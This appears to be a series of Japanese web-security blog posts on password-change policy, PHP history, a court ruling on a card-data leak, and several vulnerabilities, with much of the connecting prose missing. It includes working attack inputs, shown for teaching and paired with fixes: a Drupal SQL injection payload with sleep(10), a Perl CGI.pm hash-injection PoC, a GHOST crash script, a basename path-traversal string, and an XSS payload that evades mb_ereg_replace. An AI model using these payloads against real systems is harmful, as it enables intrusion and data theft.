動機

• 私のブログの読者層はセキュリティに関心の高い方たちであり、本書の読者とは重ならない
• 著者に私の意図が伝わるかが疑問
• 別の著者の方と書評が原因でトラブルになりかけたことがある

きっかけ

面会

副読本

概要

まとめ、感想

本を書いている知人が「徳丸さんにdisられる夢で夜中に目が覚める」と言ってた。
— Yosuke HASEGAWA (@hasegawayosuke) 2014, 9月 8

そういう著者の方々とのコミュニケーションが重要だなと最近は思っています RT @hasegawayosuke: 本を書いている知人が「徳丸さんにdisられる夢で夜中に目が覚める」と言ってた。
— 徳丸　浩 (@ockeghem) 2014, 9月 9

前提条件

別のサイトから漏洩したアカウント情報（ログインIDとパスワードの組み合わせ）の一覧表（パスワードリスト）があり、そのログインIDとパスワードの組をそのまま、攻撃対象に対してログイン試行する攻撃

• 利用者は、すべてのサイトのパスワードを90日毎に変更する
• 利用者はすべてのサイトで同じログインIDを用いている
• 変更後のパスワードはすべてのサイトで同じとする
  ※ サイト毎にパスワードを別にすれば、それ以降はパスワードをまったく変更しなくてもパスワードリスト攻撃はできなくなるためこの条件を設定

攻撃条件(1)

攻撃条件(2)

評価

• サイト毎に異なるパスワードを設定する

• パスワード定期的変更の効能について徳丸さんに聞いてみた

追記(2014/10/16 15:30)

@ockeghem現実的にはサイトごとに違うパスワードなんて覚えられない！という人に対して、やむなく定期的変更で被害を少し減らしているんでしょうね。管理者側は違うパスワードは強制できないけど、定期変更は強制できるので。
— MATSUOKA Kohei (@machu) 2014, 10月 16

• パスワードの定期的変更は強制できる
• 結果としてパスワードリスト攻撃への効果は限定的（ないわけではない）

ログイン時のSQL文を調べてみる

POST /?q=node&destination=node HTTP/1.1
Host: xxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Cookie: has_js=1; Drupal.toolbar.collapsed=0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 122

name=admin&pass=xxxxxxxx&form_build_id=form-xQZ7X78LULvs6SyB9MvufbZh5KXjQYRHS05Jl2uD9Kc&form_id=user_login_block&op=Log+in

SELECT * FROM users WHERE name = 'admin' AND status = 1

name[]=user1&name[]=user2

SELECT * FROM users WHERE name = 'user1', 'user2' AND status = 1

<?php
db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));
?>

SELECT * from users where name IN (:name_0, :name_1)

連想配列のキーを指定したらどうなるか

name[id1]=user1&name[id2]=user2

SELECT * FROM {users} WHERE name = :name_id1, :name_id2 AND status = 1

name[1 xxxxx]=user1&name[2]=user2

SELECT * FROM {users} WHERE name = :name_1 xxxxx, :name_2 AND status = 1

array(2) {
  [":name_1 xxxxx"] => "user1"
  [":name_2"] =>  "user2"
}

name[2 xxxxx]=&name[2]=user2

SELECT * FROM {users} WHERE name = :name_2 xxxxx, :name_2 AND status = 1

array(2) {
  [":name_2 xxxxx"] => ""
  [":name_2"]=> "user2"
}

SELECT * FROM users WHERE name = 'user2' xxxxx, 'user2' AND status = 1

SQLインジェクションを試す

name[2 ;SELECT sleep(10) -- ]=&name[2]=user2

SELECT * FROM users WHERE name = 'user2';SELECT sleep(10) -- , 'user2' AND status = 1

• PHP+PDO+MySQLの組み合わせではSQLインジェクション攻撃で複文呼び出しが可能

ソース上の脆弱性箇所

// includes/database/database.inc
protected function expandArguments(&$query, &$args) {
  $modified = FALSE;
  // $argsの要素から配列のみ処理対象として foreach
  foreach (array_filter($args, 'is_array') as $key => $data) {
    $new_keys = array();
    // $dataは配列であるはずなので、foreach 可能。 $i（キー）に注目
    foreach ($data as $i => $value) {
      $new_keys[$key . '_' . $i] = $value;
    }
    // $queryを改変 $new_keysのキーをarray_kesyでSQL文に混ぜていることが問題
    $query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);
    unset($args[$key]);
    $args += $new_keys;

    $modified = TRUE;
  }
  return $modified;
}

foreach (array_values($data) as $i => $value) {

この脆弱性による影響

影響を受けるバージョンと対策

まとめ

• JSON SQL Injection、PHPならJSONなしでもできるよ

New Class of Vulnerability in Perl Web Applications

• CGI.pmのparamメソッドの返り値をハッシュに突っ込んでいる箇所がある
• クエリ文字列に同名のパラメータを複数セットすると、配列値が返る
• 配列をハッシュに突っ込むことにより、別のキーの値が変更される

PoC

#!/usr/bin/perl
use strict;
use CGI;

my $cgi = new CGI;

my $loginname = 'smith';
my $password  = 'a3k!sz9';

my %user = ('login' => $loginname,
'realname' => $cgi->param('realname'),
'password' => $password);
print <<END;
Content-Type: text/plain; charset=utf-8

login = $user{'login'}
realname = $user{'realname'}
password = $user{'password'}
END

login = smith
realname = John Smith
password = a3k!sz9

realname=hoge&realname=login&realname=yamada

login = yamada
realname = hoge
password = a3k!sz9

CGI.pmは同名パラメータ指定により配列を受け取ることができる

my @foo = $cgi->param('foo');

foo=1&foo=2&foo=3

ハッシュ生成時に配列を混ぜることでハッシュの別キーをインジェクションできる

my %user = ('login' => 'smith',
            'realname' => ('hoge', 'login', 'yamada'),
            'password' => 'a3!sz9');

my %user = ('login', 'smith',
            'realname', 'hoge', 'login', 'yamada',
            'password', 'a3!sz9');

my %user = ('login' => 'smith',
            'realname' => 'hoge', 
            'login' => 'yamada',
            'password' => 'a3!sz9');

my %user = ('realname' => 'hoge', 
            'login' => 'yamada',
            'password' => 'a3!sz9');

このようなケースはありえるのか?

対策

my %user = ('login' => $loginname,
'realname' => scalar $cgi->param('realname'),
'password' => $password);

my $realname = $cgi->param('realname');
my %user = ('login' => $loginname,
'realname' => $realname,
'password' => $password);

まとめ

パスワード定期的変更の効果まとめ

• 条件1: パスワード voc3at が既に漏洩していて、今後悪用される可能性がある
• 条件2: パスワード漏洩に利用者 x は気づいておらず（あるいは気づいたにも関わらず）、パスワードを（非定期には）変更していない
• 効果: パスワードの定期的変更後、サイトAにおける パスワード voc3at の悪用はできなくなる

• サイトAからパスワード漏洩が起こった
• 利用者 x がパスワード voc3at を別のサイトBでも利用していて、サイトBから漏洩した
• 利用者 x 自身がパスワード voc3at を別人に教えてしまった
• 利用者 x がフィッシング詐欺にあってしまい、パスワード voc3at が漏洩した

• LINEのアカウント乗っ取りのように、利用者 x 自身は利用できなくなったり、友人が教えてくれる
• 不正送金被害にあい、銀行口座から預金がなくなってしまった
• なりすまし投稿により自身のアカウントが炎上してしまった
• サイトAがパスワード漏洩事件を公表し、パスワード変更を呼びかけた
• ログイン履歴を見ていて気づいた

ログインアラートとは

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
【楽●天】ログインアラート通知(2014/10/20 09:53)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

xxxxxxxx 様

お客様が楽天のサービスにログインしましたので、お知らせいたします。
このメールはログインアラート設定を行っているお客様に
送信させて頂いております。

◆ログイン情報
・ログイン日時　：2014/10/20 09:53
・IPアドレス　　　：xxx.xxx.xxx.xxx

◆ログイン履歴
https://history.id.rakuten.co.jp/
よりログイン履歴がご確認いただけます。

◆心当たりのないログインの場合
お客様以外の第三者がお客様に成りすましてログインしている可能性があります。
その場合、次のURLより会員情報管理画面にてパスワードを
変更されることをおすすめします。
https://member.id.rakuten.co.jp/rms/nid/menufwd

ログインアラートの効果

• 不正ログインの事実を確認できる
• 不正ログインの際の日時やIPアドレス等から犯人追跡の情報が得られる
• 不正ログインから速やかな対処が可能
• 不必要なパスワード変更をする必要がないので利用者側の負担が少ない
• 実装上のコストは比較的低い

1. パスワード漏洩後、なんらかの理由で数ヶ月後に犯人が初めてログインした
2. サイトBから漏洩したパスワードリストを犯人が購入し、漏洩から数ヶ月後にサイトAで試した。利用者はサイトAとサイトBで同じパスワードを設定していた
3. 利用者のリテラシーが低く、ログインアラートに適切に対処できない

ログインアラートはパスワード定期的変更の代替になるか

(1) プログラミング言語の選択
1) 例えば、PHPを避ける
短時日で素早くサイトを立ち上げることのみに着目するのであれば、PHPは悪い処理系ではない。しかし、これまで多くの脆弱性を生んできた経緯があり、改善が進んでいるとはいえまだ十分堅固とは言えない。
セキュアプログラミング講座（アーカイブ）より引用

• PHPの安全でない機能の削除
• PHPの安全性を高める機能の追加

1.htmlspecialchars 文字エンコーディングチェックの改善（PHP5.2.5 2007/11/8）

• PHP4.1.0  (2001/12/10) htmlspecialcharsに第3引数追加。ほとんど何もしていないに等しい文字エンコーディングチェック
• PHP-5.2.5 (2007/11/8)　文字エンコーディングのチェックを強化…したけど抜けがたくさん
• PHP-5.2.12 (2009/12/17) moriyoshiの神対応による厳格なチェックに
• PHP-5.4.0 (2012/3/1) 第3引数のデフォルトが UTF-8 に変更

2. register_globalsが非推奨に(PHP-5.3.0 2009/6/30)

session_start();
if (isset($_SESSION['user'])) {
  $islogin = TRUE;
}

session_start();
session_register('user'); // $user をセッション変数として宣言
if (! isset($user)) {
  die('ログインしていません');
}
// 以下ログイン中として処理

• PHP-4.2.0 (2002/4/22) register_globalsがデフォルトで off になる
• PHP-5.3.0 (2009/6/30) register_globalsを有効にすると警告エラーになる
• PHP-5.4.0 (2012/3/1) register_globalsが廃止される

3. マジッククォートが非推奨に(PHP-5.3.0 2009/6/30)

• マジッククオート

• マジッククォートは入力時にエスケープ処理を自動的行う仕組みだが、エスケープ処理は文字列を使う時に都度すべきという考え方が一般化した
• マジッククォートはMySQLに特化したエスケープ方式であり、かつMySQLのオプションや文字エンコーディングを考慮しない不完全なエスケープだった

• PHP-5.3.0 (2009/6/30) マジッククォートを有効にすると警告エラーになる
• PHP-5.4.0 (2012/3/1) マジッククォートが廃止される

4.暗号学的に安全な擬似乱数生成器のサポート(PHP-5.3.0 2009/6/30)

• uniqid()
• rand()
• mt_rand()

• PHP-5.3.0以降であること　かつ
• OpenSSLが導入されていること

5.セッションID生成の安全性強化(PHP-5.3.2 2010/3/4)

（PHPのセッションID生成は）図4-51で示したありがちなセッションIDの生成方法に該当します。ロジックの複雑性が高いため解読方法が判明しているわけではありませんが、理論的には安全性が保証されていない設計ということになります。

• PHPのセッションIDは暗号論的に弱い乱数生成器を使っており、セッションハイジャックの危険性がある

しかし、php.iniの設定を追加することで、安全な乱数を元にセッションIDを生成するよう改善できます。そのためには、php.iniに以下を設定します。

[Session]
;; entropy_file は Windowsでは設定不要
session.entropy_file = /dev/urandom
session.entropy_length = 32

• PHP-5.3.2 (2010/3/4) セッションIDの生成方法を複雑化したが不完全
• PHP-5.4.0 (2012/3/1) セッションIDのシードに安全な乱数を使うように改善

6.ヌルバイト攻撃の防御機能の追加（PHP-5.3.4 2010/12/9）

• 一部の言語構造と関数で引数の値に NULL バイトが含まれていた場合の挙動修正
• PHP 5.3.4以降ではヌルバイト攻撃が成立しにくくなった

7.PDOのDB接続時の文字エンコーディング指定が可能に（PHP-5.3.6 2011/3/17）

 $dbh = new PDO('mysql:host=DBHOST;dbname=test;charset=utf8', USERNAME, PASSWORD);

• PDOにおける一応の安全宣言と残る問題点

• PHP5.3.6からPDOの文字エンコーディング指定が可能となったがWindows版では不具合（脆弱性）あり
• PDO/MySQL(Windows版)の文字エンコーディング指定の不具合原因

8. crypt関数の重大な脆弱性混入とXFAILの運用(PHP-5.3.8 2011/8/23)

• PHP5.3.7のcrypt関数に致命的な脆弱性(Bug #55439)
• PHP5.3.7のcrypt関数のバグはこうして生まれた

• PHP 5.3.7のcryptについて、作者のメモ

9. header関数のバグ修正(PHP-5.4.0 2012/3/1)

この関数は一度に複数のヘッダを送信できないようになりました。 これは、ヘッダインジェクション攻撃への対策です。
header関数マニュアルより引用

• PHP5.4.0でheader関数の脆弱性が修正された

10. 安全なパスワード保存が簡単にできるようになった(PHP-5.5.0 2013/6/20)

$password = ...
$hash = password_hash($password, PASSWORD_DEFAULT);

$2y$10$KDeRvOFZVPtVVm/Qo8DhA.XZ85u9mPmIqj3CHXCD2QZxeop617Wy2

11. Session Adoption Bugの修正(PHP-5.5.2 2013/8/15)

• 【速報】PHP-5.5.2にて大垣さんのstrict sessionsが実装されました
• PHP5.5.4にてstrict sessionsのバグ(bug65475)が修正されたがテストがないことに気づいた

• PHP5.5.2以降のstrict sessionsモードでセッションフィクセイション対策はどうすればよいか

まとめ

• privacy:個人情報漏洩で脆弱なシステムの責任をソフトメーカーに問う事例

事実および裁判所の判断

• X株式会社: インテリア商材の通信販売を営む（原告）
• Y株式会社: システム開発の会社（被告）

• X社（原告）はセキュリティ対策について特に指示はしていなかった
• 損害賠償について個別契約に定める契約金額の範囲内とする損害賠償責任制限があった
• 当初システムはカード決済を外部委託し直接カード情報を扱っていなかった
• X社が「カード会社毎の決済金額を知りたい」とY社に依頼をして、その結果カード情報をいったんDBに保存する仕様となった（2010年1月29日）
• X社からの問い合わせに対してY社は、カード情報を保持しない方式に変更することが可能で、そのほうが安全となり、費用は20万円程度である旨を伝えた（2010年9月27日）が、その後X社は改良の指示をしなかった
• 以下の脆弱性その他が認められた
• システム管理機能のIDとパスワードが admin/password であった
• 個人情報が記載されたお問い合わせログファイルの閲覧が可能（ディレクトリリスティングと意図しないファイル公開）
• SQLインジェクション
• クロスサイトスクリプティング
• ログにカード情報が保存されていた
• DBに保存されたカード情報にはセキュリティコードも含まれていた

• クレジットカード情報が漏洩した原因は複数考えられるが、脆弱性やアクセスログ、不正利用の状況からSQLインジェクション攻撃によるものと断定
• セキュリティ対策についてX社からの指示はなかったが、Y社は必要なセキュリティ対策を講じる義務（債務）があり、それを怠った債務不履行がある
• Y社は、SQLインジェクションはカード情報とは無関係の箇所にあったので、この脆弱性が原因ではないと主張したが、裁判所はこの主張を退けた
• 損害賠償責任制限について
• 損害賠償責任制限自体については認める
• 契約書に明記はないが、故意あるいは重過失に起因する損害については責任制限の範囲外とする
• 仕様書に記載はないがSQLインジェクション対策を怠ったことは重過失である
• よって今回の事案は損害賠償責任制限には該当しない
• 原告からの損害賠償請求のうち、おわびのQUOカード代や梱包発送費などの損害は全額認められたが、売上減の機会損失は6041万4833円の要求に対して、400万円のみが認められ、システム委託契約費用約2074万円に対しては、他社システムに移行後の利用料等（約27万円）のみが認められた
• Y社がカード情報をDBに保存しない方式をX社に提案したにも関わらずX社がそれを採用しなかった件をX社の過失と認め、過失相殺3割が認定された
• 瑕疵担保期間(1年)を超えていたが、瑕疵担保期間はあくまで無償補修の期間を定めたもので、損害賠償請求権の期間制限を定めたものではないので、損害賠償請求は有効（2015/1/22 22:30追記）
• 結果、3131万9568円の損害を認定し、その3割を控除して、2262万3697円の損害賠償をY社に命じた

そこで検討するに，証拠（甲１４，２５，２９）によれば，経済産業省は，平成１８年２月２０日，「個人情報保護法に基づく個人データの安全管理措置の徹底に係る注意喚起」と題する文書において，ＳＱＬインジェクション攻撃によってデータベース内の大量の個人データが流出する事案が相次いで発生していることから，独立行政法人情報処理推進機構（以下「ＩＰＡ」という。）が紹介するＳＱＬインジェクション対策の措置を重点的に実施することを求める旨の注意喚起をしていたこと，ＩＰＡは，平成１９年４月，「大企業・中堅企業の情報システムのセキュリティ対策～脅威と対策」と題する文書において，ウェブアプリケーションに対する代表的な攻撃手法としてＳＱＬインジェクション攻撃を挙げ，ＳＱＬ文の組み立てにバインド機構を使用し，又はＳＱＬ文を構成する全ての変数に対しエスケープ処理を行うこと等により，ＳＱＬインジェクション対策をすることが必要である旨を明示していたことが認められ，これらの事実に照らすと，被告は，平成２１年２月４日の本件システム発注契約締結時点において，本件データベースから顧客の個人情報が漏洩することを防止するために，ＳＱＬインジェクション対策として，バインド機構の使用又はエスケープ処理を施したプログラムを提供すべき債務を負っていたということができる。

• 発注者（原告）および受注者（被告）ともにグダグダの状況であった
• 原告は発注者としての責務を果たしておらず、（ほぼ）すべての責任が被告にあるとの判断は、被告に厳しすぎると思う
• とはいえ、被告もなんら「専門家としての責務」を果たしておらず、裁判所はこの点を重視した
• 経産省およびIPAからの注意喚起が「専門家として当然はたすべき責務」の基準と判断された点に注目したい
• 管理機能のID/パスワードが admin/password であった箇所を読んで、しばらく余韻にひたっていた
  ※ただし、被告はシステム引き渡し後に原告がパスワードを変更すると想定していたと主張

考察とまとめ

追記（2015/1/22 22:30）

本件基本契約は，「乙は，委託業務の完了の後その成果物に瑕疵が発見されたとき，乙の責任において無償で速やかに補修のうえ納入を行うものとする。」（２６条１項），「乙の保証期間は，特に定めるものを除き委託業務の完了の後１年間とする。ただし，乙の責に帰すべきものでない場合はこの限りではない。」（２６条２項）と定めている。
以上の規定からすれば，本件基本契約２６条２項は，被告による無償補修を定めた本件基本契約２６条１項を前提とした規定であり，被告が無償補修する義務を負う期間を原則として委託業務の完了後１年間とすることを定めたものと解することができ，原告の被告に対する損害賠償請求権の期間制限を定めたものと解することはできない。
これに対し，被告は，本件基本契約に基づく個別契約は請負契約としての性質を有し，請負契約では債務不履行責任の特則として瑕疵担保責任の規定が適用される以上，原告の本件請求も瑕疵担保責任の規定に従った請求というべきであるから，本件請求についても本件基本契約２６条２項が適用される旨主張する。しかし，本件基本契約２６条２項は，その文言上被告による無償補修期間を定めたものと解釈できることは前記説示のとおりであり，本件個別契約の性質が請負契約に当たるか，原告の請求が瑕疵担保責任に基づく請求といえるかといった点は，上記解釈に影響を与えるものではないから，被告の上記主張は採用できない。

1. ユーザー入力のIPアドレス（ネットワーク層のIPアドレスではない）に攻撃用データを送る。
2. バリデーション無しで攻撃用の不正なIPアドレスをgethostbyname()に渡される。
3. ヒープオーバーフローでヒープ領域のメモリ管理用の空きサイズを改竄する。

【中略】

どんなソフトウェアが危ないのか？

• ユーザー入力のIPアドレスをバリデーションしないでgethostbyname()を使用している。
• インタラクティブな動作を行っている。（攻撃者からの入力に対してレスポンスがある）
• ソフトウェアが持つ実行機能が利用できる。

【中略】

どうすれば守れたのか？

EximはメールサーバーなのでIPアドレスはネットワーク層からだけでなく、ユーザー入力としても処理しています。IPアドレスとしてあり得ないデータをアプリでエラーにしていれば攻撃はできませんでした。入力データとしてあり得ないデータをライブラリに直接渡すとリスクが伴います。入力バリデーションを行っていれば問題となりませんでした。

• 入力バリデーションを行い、おかしな入力は拒否する

glibcの脆弱性の有無に関わらず、これだけしていれば任意コマンドの実行という最悪の事態は防げました。

• 攻撃経路となる入力値はIPアドレスではなくホスト名である
• 攻撃を防げるとするバリデーションの仕様が明記されていない
• Eximは本当にバリデーションをしていないのか

攻撃経路となる入力値はIPアドレスではなくホスト名である

攻撃を防げるとするバリデーションの仕様が明記されていない

function validate_email($str, $check_dns=true, $mode=V_EXIT) {
  // preg_matchもバイナリセーフ
  $error = !preg_match ('/^(([a-zA-Z0-9])+([a-zA-Z0-9\._-])*@([a-zA-Z0-9_-])+([a-zA-Z0-9\._-]+)+)$/', $str);
  list(,$domain) = split('@',$str);
  // checkdnsrr()はWindowsでは実装されていません。
  if (!$error && !strstr(PHP_OS,'WIN') && !checkdnsrr($domain,'MX')) {
    $error=false;
  }
  if ($mode == V_RETURN) {
    return $error;
  }
  if ($error) {
    trigger_error('不正なメール形式を検出しました。');
  }
}

Eximは本当にバリデーションをしていないのか

static BOOL
check_helo(uschar *s)
{
  // 中略
  if (*s == '[')
    /* 中略 IPv6形式のIPアドレスの処理 */
  else if (*s != 0)
    {
    yield = TRUE;
    while (*s != 0)
      {
      if (!isalnum(*s) && *s != '.'&& *s != '-'&&
          Ustrchr(helo_allow_chars, *s) == NULL)
        {
        yield = FALSE;
        break;
        }
      s++;
      }
    }
  }
// 後略

どうすればよかったか

It must be long enough to overflow the buffer. For example, the non-reentrant gethostbyname*() functions initially allocate their buffer with a call to malloc(1024) (the "1-KB" requirement).

Host software MUST handle host names of up to 63 characters and SHOULD handle host names of up to 255 characters.

ホストソフトウェアは63文字までのホスト名を扱わなければならず(MUST)、255文字までのホスト名を扱うべき(SHOULD)である。

• 63文字（MUST）
• 255文字（SHOULD）
• 256文字以上の有限値（任意）
• 無制限（任意、Eximが該当）

まとめ

• バリデーションの基準はアプリケーションの仕様である
• 仕様を満たさない入力値は再入力を促すナビゲーションを行う
• アプリケーション仕様として、すべての入力パラメータの以下項目を定義しておく
• 文字種
• 文字列長の最小・最大値
• 数値の場合は最小値・最大値
• メールアドレス等は書式

• バリデーションの基準はアプリケーション仕様（再掲）
• Eximの場合のように、バリデーションの仕方によっては脆弱性が顕在化しなかったという例は結構ある（参考: Drupalの例）
• しかし、バリデーションは確実な対策ではないので、脆弱性対策をおろそかにしてはいけない
• そのため開発者の心構えとしては、バリデーションによる防御効果はないものとして脆弱性対策をすること
• バリデーションはしておこう。それがセーフティネットになる場合もある

<?php
    gethostbyname(str_repeat('0', 1027));
    gethostbyname(str_repeat('0', 1028));

$ php gethostbyename-vul.php
*** glibc detected *** php: realloc(): invalid next size: 0x08b0b118 ***
======= Backtrace: =========
/lib/libc.so.6[0x92de31]
/lib/libc.so.6[0x9330d1]
/lib/libc.so.6(realloc+0xdc)[0x93326c]
/lib/libc.so.6(__nss_hostname_digits_dots+0x373)[0x9b5d13]
/lib/libc.so.6(gethostbyname+0x9a)[0x9bab6a]
php[0x8153b01]
php[0x8260729]
php(execute+0x1ce)[0x8236f4e]
php(zend_execute_scripts+0x66)[0x820f0c6]
php(php_execute_script+0x1e6)[0x81b5b76]
php[0x829feeb]
/lib/libc.so.6(__libc_start_main+0xe6)[0x8d3d26]
php[0x80622d1]
======= Memory map: ========
00101000-00129000 r-xp 00000000 fd:00 1053082    /usr/lib/libsmime3.so
00129000-0012b000 r--p 00027000 fd:00 1053082    /usr/lib/libsmime3.so
【中略】
00bee000-00bef000 rw-p 00007000 fd:00 1062164    /usr/lib/php/modules/json.so
アボートしました (コアダンプ)
$

• GHOST脆弱性に対するパッチを適用していれば問題ない
• PHPのgethostbyname関数を呼び出していなければ問題ない
• gethostbyname関数を呼び出していても、引数を外部から制御できなければまず問題ない
• gethostbyname関数を呼び出し、かつ引数が外部から制御できるが、バリデーションにより1024バイト以上の引数を禁止していれば問題ない
• PHP 5.6.6、PHP 5.5.22（現在はRC1）からはgethostbynameの引数が255バイトまでに制限されるので問題ない

<?php
  header('Content-Type: text/plain; charset=UTF-8');

  $file_utf8 = basename($_GET['file']);
  $file_sjis = mb_convert_encoding($file_utf8, 'cp932', 'UTF-8');
  $path = './data/' . $file_sjis;
  var_dump($path);
  readfile($path);

basename関数はマルチバイト対応していないという誤解

basename関数はパスからディレクトリ情報を削除してベース名（「test.txt」など）を取得するための関数ですが、PHP5（使用バージョン：PHP 5.3.1）ではパスに日本語が含まれていると失敗します。

▼失敗するbasename関数

<?php
$a = "/dir/テスト.txt";
echo basename($a);
?>

ファイル名などに日本語が含まれるパスでbasename関数が失敗するバグより引用

localeに注意

注意:
basename() はロケールに依存します。 マルチバイト文字を含むパスで正しい結果を得るには、それと一致するロケールを setlocale() で設定しておかなければなりません。

<?php
$a = "/dir/テスト.txt";
setlocale(LC_CTYPE, 'Japanese_Japan.932'); // 追加
echo basename($a);

冒頭の脆弱なスクリプトへの攻撃法

..%C2%A5vulbasename.php

..¥vulbasename.php

..\vulbasename.php

./data/..\vulbasename.php

文字エンコーディング変換するタイミングに注意

• 円記号U+00A5は、basenameの処理対象の文字ではない
• basenameの処理の後に、文字エンコーディング変換によりU+00A5が0x5Cに変化する

• まず文字エンコーディングを変換する
• その後にbasename関数を通す

$file_utf8 = $_GET['file'];
$file_sjis = mb_convert_encoding($file_utf8, 'cp932', 'UTF-8'); // 文字エンコーディング変換
setlocale(LC_CTYPE, 'Japanese_Japan.932'); // locale設定
$file = basename($file_sjis);
$path = './data/' . $file;

basenameはファイル名として妥当な文字種のチェックをしない

• ファイル名に用いる文字の種類
• ファイル名を表現する文字エンコーディング
• ファイル名の長さの最小値・最大値

まとめ

• 文字エンコーディングの変換はbasenameを通す前に行うこと
• basename関数を呼ぶ前にlocaleを設定すること
• ファイル名の仕様を決める
• ファイル名が仕様を満たすかどうかバリデーションにより確認する

// ext/standard/string.c
// php_basenmae()
while (cnt > 0) {
  inc_len = (*c == '\0' ? 1: php_mblen(c, cnt));

  switch (inc_len) {
    case -2:
case -1:
      inc_len = 1;
      php_ignore_value(php_mblen(NULL, 0));
      break;
    case 0:
      goto quit_loop;

// ext/standard/exec.c
// php_escape_shell_arg()
for (x = 0; x < l; x++) {
  int mb_len = php_mblen(str + x, (l - x));

 /* skip non-valid multibyte characters */
  if (mb_len < 0) {
    continue;
  } else if (mb_len > 1) {
    memcpy(cmd + y, str + x, mb_len);
    y += mb_len;
    x += mb_len - 1;
    continue;
  }
  switch (str[x]) {
    // 文字に応じた処理

不正な文字エンコーディングの影響の考察（Windowsの場合）

不正な文字エンコーディングの影響の考察（Linuxの場合）

<?php
  setlocale(LC_CTYPE, 'ja_JP.UTF-8');
  echo bin2hex(basename("..\xC0\xAFaaa")), PHP_EOL;

2e2ec0af616161

• Linuxで使われるファイルシステムでは、\xC0\xAF等はそのままのバイト列としてファイル名に使われ、ディレクトリ区切子とは認識されない

• そもそもbasenameの後に文字エンコーディング変換をすることはよろしくない（参考）
• PHPで文字エンコーディング変換に使用される mb_convert_encodingとiconvはどちらもUTF-8の冗長表現をエラーにするかフィルタリングするので、攻撃文字列は形成されない

緩和策

• ファイル名に用いる文字の種類
• ファイル名を表現する文字エンコーディング
• ファイル名の長さの最小値・最大値

• 文字エンコーディングの変換はbasenameを通す前に行うこと
• basename関数を呼ぶ前にlocaleを設定すること
• ファイル名の仕様を決める
• ファイル名が（文字エンコーディングを含め）仕様を満たすかどうかバリデーションにより確認する

まとめ

• preg_replace : 不正な文字エンコーディングをチェックしている
• mb_ereg_replcae : 不正な文字エンコーディングをチェックしていない

不正な文字エンコーディングとは

mb_ereg_replaceは不正な文字エンコーディングをどう扱うか?

$a = "\xFC../..";  // 6バイト

• 0xFCは、かつてUTF-8の6バイト形式として定義されていたが、現在は5バイト以上の形式は禁止されている
• 2バイト目以降が 0x80～0xBF の範囲にない

<?php
  mb_regex_encoding('UTF-8');
  $a = "\xFC../..";
  $s = mb_ereg_replace('[\./]', '', $a);  // . と / をすべて取り除く
  echo bin2hex($s) . "\n";

fc2e2e2f2e2e

• mb_ereg_replaceはUTF-8の6バイト形式を許容している
• mb_ereg_replaceはUTF-8の2バイト目以降のバイト値の範囲をチェックしていない

脆弱となる例

<?php
  header('Content-Type: text/html; charset=UTF-8');
  function mb_htmlescape($s) {
    mb_regex_encoding('UTF-8');
    $s = mb_ereg_replace('&', '&amp;', $s);
    $s = mb_ereg_replace('<', '&lt;', $s);
    $s = mb_ereg_replace('>', '&gt;', $s);
    $s = mb_ereg_replace('"', '&quot;', $s);
    return $s;
  }
?>
<html><body>
<?php echo mb_htmlescape($_GET[x]); ?>
</body></html>

x=%C2<script+%C2>alert(1);//%C2</script+%C2>

■<script ■>alert(1);//■</script ■>

対策

• エスケープ関数等セキュリティ目的の処理は極力自作しない（htmlspecialchars関数では上記の問題は起きない）
• 各入力値についてmb_check_encoding関数により文字エンコーディングの妥当性チェックを行う

まとめ

2. 検査対象を適切に絞れるか？

セキュリティ対策をくまなく実施できれば安心ですが、それは大きな費用がかかり現実的ではないというケースも多いでしょう。そのため、Web診断では検査対象を適切に絞り込むことが必要です。ログイン画面や課金機能、個人情報管理機能など、セキュリティ対策が特に求められる機能を重点的に検査するには、検査対象を明確にすることが重要になります。

脆弱性と影響範囲の関係

• Y社は、SQLインジェクションはカード情報とは無関係の箇所にあったので、この脆弱性が原因ではないと主張したが、裁判所はこの主張を退けた

• SQLインジェクション
• クロスサイトスクリプティング(XSS)
• ディレクトリトラバーサル
• OSコマンドインジェクション
• HTTPヘッダインジェクション
• セッション固定
• ファイルアップロード機能の脆弱性
• クッキーのセキュア属性不備
• 認証機能の不備

• クロスサイトリクエストフォージェリ(CSRF)
• レースコンディション（サイト全体に影響がある場合もある）
• 認可制御の不備

• オープンリダイレクタ（フィッシング経由で間接的に影響はある）
• メールヘッダインジェクション

脆弱性毎に、発生しやすい箇所が決まっている

SQLインジェクション

クロスサイトスクリプティング(XSS)

ディレクトリトラバーサル

OSコマンドインジェクション

HTTPヘッダインジェクション

セッション固定

ファイルアップロード機能の脆弱性

クッキーのセキュア属性不備

認証機能の不備

脆弱性には遍在するものと偏在するものがある

• ログイン処理など当該機能の脆弱性を診断するのに必要
• 一部の脆弱性はログイン処理の周辺に発生しやすいものがある

抜き取り検査の診断箇所はどのように選定するのがよいか

まとめ

平たくというと、何が変わるの?

変わらないことは何?

どうしてイー・ガーディアンにジョインしたか?

人材募集中

• 学歴、性別、年齢、国籍等は不問です
• ただし、徳丸は日本語しかできませんので、日本語でのコミュニケーションがとれることは必要です（少なくとも当面は）
• 一人からの立ち上げとなりますので、当面は、ある程度セキュリティ実務（脆弱性診断等）の経験のある方を歓迎いたします
• 勤務地は本社（麻布十番）となりますが、今後サテライト勤務や在宅勤務等についても検討していきたいと考えます
• 服装、勤務時間等は、集まってくれた仲間と相談しながら、働きやすい職場にしていきます
• HASHコンサルティングのサービスの概要はWebサイトを参考にして下さい

安全なウェブサイトの作り方の変わらぬ特徴

本書は、IPAが届出を受けたソフトウェア製品およびウェブアプリケーションの脆弱性関連情報に基づいて、特にウェブサイトやウェブアプリケーションについて、届出件数の多かった脆弱性や攻撃による影響度が大きい脆弱性を取り上げ、その根本的な解決策と、保険的な対策を示しています。

• 脆弱性の選定基準として、届出件数の多かった脆弱性と攻撃による影響度が大きい脆弱性に注目している
• 対処の方法として、根本的な解決策と保険的な対策という考え方を採用している

根本的解決策と保険的対策

■ 根本的解決
本書における「根本的解決」は、「脆弱性を作り込まない実装」を実現する手法です。根本的解決を実施することにより、その脆弱性を狙った攻撃が無効化されることを期待できます。
■ 保険的対策
本書における「保険的対策」は、「攻撃による影響を軽減する対策」です。根本的解決とは違って、脆弱性の原因そのものを無くすものではありませんが、攻撃から被害までの次の各フェーズにおいて、それぞれの影響を軽減できます。

第7版での変更点

